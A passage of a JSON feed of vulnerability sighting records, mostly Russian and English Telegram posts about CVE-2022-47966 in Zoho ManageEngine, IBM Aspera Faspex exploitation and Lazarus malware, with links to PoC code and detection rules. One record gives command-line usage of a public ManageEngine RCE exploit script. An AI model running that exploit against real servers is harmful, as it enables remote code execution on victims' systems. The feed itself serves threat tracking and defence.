\u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0445 \u0432\u044b\u0437\u043e\u0432\u043e\u0432 API.\n\n\u041a\u0430\u043a \u043c\u044b \u0443\u0436\u0435 \u0441\u043e\u043e\u0431\u0449\u0430\u043b\u0438, \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438 \u0438\u0437 Assetnote, \u0443\u0432\u0435\u0434\u043e\u043c\u0438\u0432\u0448\u0438\u043c\u0438 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430 \u043e \u0431\u0430\u0433\u0435 \u0432 \u043e\u043a\u0442\u044f\u0431\u0440\u0435 2022 \u0433\u043e\u0434\u0430. \u0412 \u044f\u043d\u0432\u0430\u0440\u0435 2023 \u0433\u043e\u0434\u0430 IBM \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0438 \u043f\u0440\u043e\u0438\u043d\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432.\n\n\u041f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u0434\u0435\u043b\u044e \u043f\u043e\u0441\u043b\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u044f 2 \u0444\u0435\u0432\u0440\u0430\u043b\u044f, Assetnote \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 PoC. \u0412\u0441\u043a\u043e\u0440\u0435 \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u044b\u0435 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b \u043f\u043e\u044f\u0432\u0438\u043b\u0438\u0441\u044c \u043d\u0430 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0441\u0430\u0439\u0442\u0430\u0445 \u0438 \u0431\u044b\u043b\u0438 \u0438\u043d\u0442\u0435\u0433\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0432 \u0441\u043a\u0430\u043d\u0435\u0440\u044b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439.\n\n\u041f\u043e\u0441\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f \u043e  \u043f\u0435\u0440\u0432\u044b\u0445 \u043f\u043e\u043f\u044b\u0442\u043a\u0430\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438. 3 \u0444\u0435\u0432\u0440\u0430\u043b\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b \u043e\u0445\u043e\u0442\u043d\u0438\u043a \u0437\u0430 \u0443\u0433\u0440\u043e\u0437\u0430\u043c\u0438 N3sfox,\u00a0\u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u0432 \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u044b \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 (IoC).\n\n\u0417\u0430\u0442\u0435\u043c Shadowserver Foundation \u0442\u0430\u043a\u0436\u0435 \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430\u00a0\u043e \u043f\u043e\u043f\u044b\u0442\u043a\u0430\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438, \u0430\u0442\u0430\u043a\u0430\u0445 3 \u0438 4 \u0444\u0435\u0432\u0440\u0430\u043b\u044f, \u0430 \u0437\u0430\u0442\u0435\u043c \u043d\u0430\u0447\u0438\u043d\u0430\u044f \u0441 11 \u0444\u0435\u0432\u0440\u0430\u043b\u044f. \n\n\u0412 \u0441\u0432\u043e\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c, Shodan \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0431\u043e\u043b\u0435\u0435 100\u00a0\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0432 \u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Aspera Faspex, \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u043c \u0440\u0430\u0441\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0445 \u0432 \u0421\u0428\u0410 \u0438 \u0412\u0435\u043b\u0438\u043a\u043e\u0431\u0440\u0438\u0442\u0430\u043d\u0438\u0438.\n\n\u0411\u0435\u0437\u0443\u0441\u043b\u043e\u0432\u043d\u043e, \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0437 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u044b\u0445 \u043f\u043e\u043f\u044b\u0442\u043e\u043a \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438, \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u0438\u043d\u0438\u0446\u0438\u0438\u0440\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438 \u0438 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f\u043c\u0438, \u0438\u0449\u0443\u0449\u0438\u043c\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u041d\u043e \u0434\u043e \u043a\u043e\u043d\u0446\u0430 \u043d\u0435\u044f\u0441\u043d\u043e, \u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0438\u0437 \u044d\u0442\u0438\u0445 \u0430\u0442\u0430\u043a \u0431\u044b\u043b\u0438 \u0440\u0435\u0430\u043b\u044c\u043d\u043e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c\u0438 \u0438 \u043a \u0447\u0435\u043c\u0443 \u043e\u043d\u0438 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u0432 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0441\u0440\u0435\u0434\u0430\u0445.", "creation_timestamp": "2023-02-16T14:35:07.000000Z"}, {"uuid": "53d1db13-d2b4-47ee-898a-453796108886", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "exploited", "source": "https://t.me/true_secator/4773", "content": "\u0412 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0435\u043d\u0438\u0435 \u0442\u0435\u043c\u044b APT Lazarus - Cisco Talos \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0438 \u043e\u0442\u0447\u0435\u0442 \u0432 \u0434\u0432\u0443\u0445 \u0447\u0430\u0441\u0442\u044f\u0445 (1, 2) \u043e \u043a\u0438\u0431\u0435\u0440\u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438 \u0441\u0435\u0432\u0435\u0440\u043e\u043a\u043e\u0440\u0435\u0439\u0441\u043a\u043e\u0439 \u0445\u0430\u043a\u0435\u0440\u0441\u043a\u043e\u0439 \u0433\u0440\u0443\u043f\u043f\u044b 2023 \u0433\u043e\u0434\u0430, \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u043d\u0430 \u043c\u0430\u0433\u0438\u0441\u0442\u0440\u0430\u043b\u044c\u043d\u044b\u0445 \u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442-\u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u043e\u0432 \u0438 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0437\u0434\u0440\u0430\u0432\u043e\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0432 \u0415\u0432\u0440\u043e\u043f\u0435 \u0438 \u0421\u0428\u0410. \n\n\u0410\u0442\u0430\u043a\u0438 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2022-47966 \u0432 Zoho ManageEngine \u043d\u0430\u0447\u0430\u043b\u0438\u0441\u044c \u0432\u0441\u0435\u0433\u043e \u0447\u0435\u0440\u0435\u0437 5 \u0434\u043d\u0435\u0439 \u043f\u043e\u0441\u043b\u0435 \u043f\u043e\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u0432 \u043f\u0430\u0431\u043b\u0438\u043a\u0435 \u0435\u0435 PoC. \u041f\u043e\u0441\u043b\u0435 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0438 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0436\u0435\u0440\u0442\u0432\u0435 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u043b\u0441\u044f QuiteRAT - \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u0435 \u0443\u043f\u0440\u043e\u0449\u0435\u043d\u043d\u043e\u0435 \u0440\u0430\u0437\u0432\u0438\u0442\u0438\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0433\u043e Lazarus \u0440\u0430\u043d\u0435\u0435 MagicRAT, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0438\u043c\u0435\u0435\u0442 \u0440\u0430\u0437\u043c\u0435\u0440 \u0432 5 \u0440\u0430\u0437 \u043c\u0435\u043d\u044c\u0448\u0435 \u043f\u0440\u0435\u0434\u0448\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u0438\u043a\u0430. \n\n\u0412 \u0445\u043e\u0434\u0435 \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u0433\u043e \u0438\u0437\u0443\u0447\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0439 \u0432 \u0434\u0430\u043d\u043d\u043e\u0439 \u043a\u0438\u0431\u0435\u0440\u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u043d\u043e\u0432\u044b\u0439 \u0442\u0440\u043e\u044f\u043d \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u043f\u043e\u0434\u0433\u0440\u0443\u043f\u043f\u043e\u0439 Andariel, \u043f\u043e\u043b\u0443\u0447\u0438\u0432\u0448\u0438\u0439 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 CollectionRAT. \n\n\u0422\u0430\u043a\u0436\u0435 Talos \u0437\u0430\u044f\u0432\u0438\u043b\u0438, \u0447\u0442\u043e \"Lazarus \u0432\u0441\u0435 \u0431\u043e\u043b\u044c\u0448\u0435 \u043f\u043e\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u043a\u043e\u0434\u043e\u043c\" \u0438 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043f\u0440\u0438\u043c\u0435\u0440\u0430 \u043f\u0440\u0438\u0432\u0435\u043b\u0438 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0443 DeimosC2 \u043d\u0430 \u0431\u0430\u0437\u0435 GoLang, \u0430\u043d\u0430\u043b\u043e\u0433 CobaltStrike \u0438 Sliver, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u043e\u0431\u0440\u0430\u0442\u043d\u043e\u0433\u043e \u0442\u0443\u043d\u043d\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f PuTTy Link. \n\n\u0422\u0430\u0449\u0435\u043c\u0442\u0430 Lazarus \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442 \u043e\u0441\u0442\u0430\u0432\u0430\u0442\u044c\u0441\u044f, \u043f\u043e\u0436\u0430\u043b\u0443\u0439, \u0441\u0430\u043c\u043e\u0439 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 APT \u0432 \u043c\u0438\u0440\u0435, \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u043e \u0440\u0430\u0437\u0432\u0438\u0432\u0430\u044f\u0441\u044c \u0438 \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0441\u0442\u0432\u0443\u044f \u0441\u0432\u043e\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b, \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443.", "creation_timestamp": "2023-08-25T18:13:50.000000Z"}, {"uuid": "9fdd98ec-7103-4226-bfe4-d5b0035940e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "published-proof-of-concept", "source": "https://t.me/crackcodes/2345", "content": "#Blue_Team_Techniques\n1. YARA/Sigma rule to detect the exploitation of ManageEngine ServiceDesk CVE-2022-47966\nhttps://github.com/Neo23x0/signature-base/blob/master/yara/expl_manageengine_jan23.yar\nhttps://github.com/SigmaHQ/sigma/pull/3935/files\n2. Investigate malicious Windows logon by visualizing and analyzing Windows event log\nhttps://github.com/JPCERTCC/LogonTracer", "creation_timestamp": "2023-01-20T20:25:07.000000Z"}, {"uuid": "b1700cfb-bdbf-4af7-bfc7-9b6718f7f3f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "published-proof-of-concept", "source": "https://t.me/crackcodes/2342", "content": "#exploit\n1. CVE-2022-47966:\nRCE vulnerability in multiple ManageEngine (Apache Santuario (xmlsec) <=1.4.1) products\nhttps://github.com/horizon3ai/CVE-2022-47966\n]-> https://www.horizon3.ai/manageengine-cve-2022-47966-technical-deep-dive\n\n2. CVE-2022-39955:\nCharset confusion + WAF bypasses via 0days\nhttps://terjanq.medium.com/waf-bypasses-via-0days-d4ef1f212ec\n\n3. Microsoft Teams RCE\nhttps://blog.pksecurity.io/2023/01/16/2022-microsoft-teams-rce.html", "creation_timestamp": "2023-01-20T20:25:07.000000Z"}, {"uuid": "8652d822-a7e3-4c96-9efa-3fcebedcbbea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "published-proof-of-concept", "source": "https://t.me/crackcodes/2332", "content": "\ud83d\udca5PoC for CVE-2022-47966\n\nUsage:\n\u2699\ufe0fFor AD related products, such as ADManager, an issuer argument is required:\npython3 ./CVE-2022-47966.py --url https://10.0.40.90:8443/samlLogin/ --issuer https://sts.windows.net// --command notepad.exe\n\u2699\ufe0fFor other products, a URL is all that is required:\npython3 ./CVE-2022-47966.py --url https://10.0.40.64:8080/SamlResponseServlet --command notepad.exe", "creation_timestamp": "2023-01-20T12:12:27.000000Z"}, {"uuid": "0f14d4ef-f2b4-492c-8cd8-0407b16611ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47893", "type": "seen", "source": "https://t.me/cibsecurity/71486", "content": "\u203c CVE-2022-47893 \u203c\n\nThere is a remote code execution vulnerability that affects all versions of NetMan 204. A remote attacker could upload a firmware file containing a webshell, that could allow him to execute arbitrary code as root.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-10-03T16:41:10.000000Z"}, {"uuid": "443d4f62-a44d-4205-9dea-2cb9ba37639d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47187", "type": "seen", "source": "https://t.me/cibsecurity/71195", "content": "\u203c CVE-2022-47187 \u203c\n\nThere is a file upload XSS vulnerability in Generex CS141 below 2.06 version. The web application allows file uploading, making it possible to upload a file with HTML content. When HTML files are allowed, XSS payload can be injected into the uploaded file.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-10-17T01:10:29.000000Z"}, {"uuid": "04d1f683-ab49-45cb-a0d7-4d0c24614a8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "exploited", "source": "https://t.me/true_secator/3973", "content": "Rapid7 \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442 \u043e \u043d\u0430\u0447\u0430\u043b\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 CVE-2022-47966 \u0432 Zoho ManageEngine \u0435\u0449\u0435 \u0434\u043e \u0442\u043e\u0433\u043e, \u043a\u0430\u043a Horizon3.ai \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0441\u0432\u043e\u0439 PoC-\u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430, \u043f\u0440\u0438\u0437\u043d\u0430\u043d\u043d\u0430\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439, \u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0432 \u043d\u043e\u044f\u0431\u0440\u0435 2022 \u0433\u043e\u0434\u0430, \u043a\u043e\u0433\u0434\u0430 Zoho \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e \u0432\u044b\u043f\u0443\u0441\u043a\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439\u00a0\u0434\u043b\u044f \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c 20 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432.\n\n\u041e\u0434\u043d\u0430\u043a\u043e \u0440\u0430\u043d\u0435\u0435 \u0432 \u044d\u0442\u043e\u043c \u043c\u0435\u0441\u044f\u0446\u0435 Horizon3.ai \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u043b\u0430 \u043e \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u0432 \u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0435 \u043d\u0435 \u043c\u0435\u043d\u0435\u0435 \u0442\u044b\u0441\u044f\u0447\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 ManageEngine \u0434\u043b\u044f \u0430\u0442\u0430\u043a \u0442\u0438\u043f\u0430 \u00abspray and pray\u00bb, \u0438 \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0441\u043b\u0435 \u043d\u0435\u043e\u0434\u043d\u043e\u043a\u0440\u0430\u0442\u043d\u044b\u0445 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0439 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0430 PoC.\n\n\u041a\u0430\u043a \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442 Rapid7, \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0437 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 ADSelfService Plus \u0438 ServiceDesk Plus, \u043e\u0447\u0435\u043d\u044c \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b \u0432 \u0431\u0438\u0437\u043d\u0435\u0441-\u0441\u0440\u0435\u0434\u0435.\n\n\u0412 \u0441\u0432\u044f\u0437\u0438 \u0441 \u044d\u0442\u0438\u043c \u043e\u043d\u0438 \u043d\u0435 \u043c\u0435\u043d\u0435\u0435 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b \u0438 \u0441\u0440\u0435\u0434\u0438 \u0445\u0430\u043a\u0435\u0440\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435, \u043a\u0430\u043a \u044d\u0442\u043e \u0441\u0442\u0430\u043b\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u0432 \u0445\u043e\u0434\u0435 \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u043e\u0434\u043d\u043e \u0438\u0437 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u043e\u0432, \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0438 CVE-2022-47966 \u0435\u0449\u0435 \u0434\u043e \u0432\u044b\u0445\u043e\u0434\u0430 PoC.\n\n\u041a \u0432\u044b\u0432\u043e\u0434\u0430\u043c \u043a\u043e\u043b\u043b\u0435\u0433 \u043f\u0440\u0438\u0441\u043e\u0435\u0434\u0438\u043d\u044f\u044e\u0442\u0441\u044f \u0438 \u0440\u0435\u0441\u0435\u0440\u0447\u0435\u0440\u044b GreyNoise, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0442\u0430\u043a\u0436\u0435 \u043d\u0430\u0447\u0430\u043b\u0438 \u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c\u00a0\u0430\u0442\u0430\u043a\u0438 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c CVE-2022-47966.\n\n\u041e\u0431\u0435 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u043c \u043b\u044e\u0431\u043e\u0439 \u0438\u0437 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 ManageEngine \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f\u043c \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043d\u0435\u043f\u0440\u043e\u043f\u0430\u0442\u0447\u0435\u043d\u043d\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u043d\u0430 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u043e\u0432 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438.", "creation_timestamp": "2023-01-23T15:02:05.000000Z"}, {"uuid": "72f739d7-0060-4d58-8679-b1e0908ca6d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47523", "type": "seen", "source": "https://t.me/true_secator/3909", "content": "\u041d\u0443 \u0447\u0442\u043e \u0436\u0435, \u0437\u0434\u0440\u0430\u0432\u0441\u0442\u0432\u0443\u0439\u0442\u0435 \u0432 2023!\n\n\u041f\u043e\u0440\u0430 \u0432\u043d\u043e\u0432\u044c \u0431\u0440\u0430\u0442\u044c\u0441\u044f \u0437\u0430 \u0434\u0435\u043b\u043e!\n\n\u0413\u043e\u0434 \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430\u0447\u0430\u043b\u0441\u044f, \u0430 \u0443\u0436\u0435 \u043f\u0440\u043e\u0438\u0437\u043e\u0448\u043b\u0430 \u043a\u0443\u0447\u0430 \u0441\u043e\u0431\u044b\u0442\u0438\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u043c \u0431\u0443\u0434\u0443\u0442 \u043f\u043e\u0441\u0432\u044f\u0449\u0435\u043d\u044b \u043d\u0430\u0448\u0438 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u0432 \u0431\u043b\u0438\u0436\u0430\u0439\u0448\u0438\u0435 \u0434\u043d\u0438.\n\n\u041f\u0440\u0435\u0436\u0434\u0435 \u0432\u0441\u0435\u0433\u043e, \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c Zoho \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u043c \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0443\u044e \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 ManageEngine.\n\nCVE-2022-47523 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u0443\u044e \u0432 \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u043e\u043c \u0445\u0440\u0430\u043d\u0438\u043b\u0438\u0449\u0435 Password Manager Pro, \u041f\u041e \u0434\u043b\u044f \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c PAM360 \u0438 \u0440\u0435\u0448\u0435\u043d\u0438\u0438 \u0434\u043b\u044f \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f 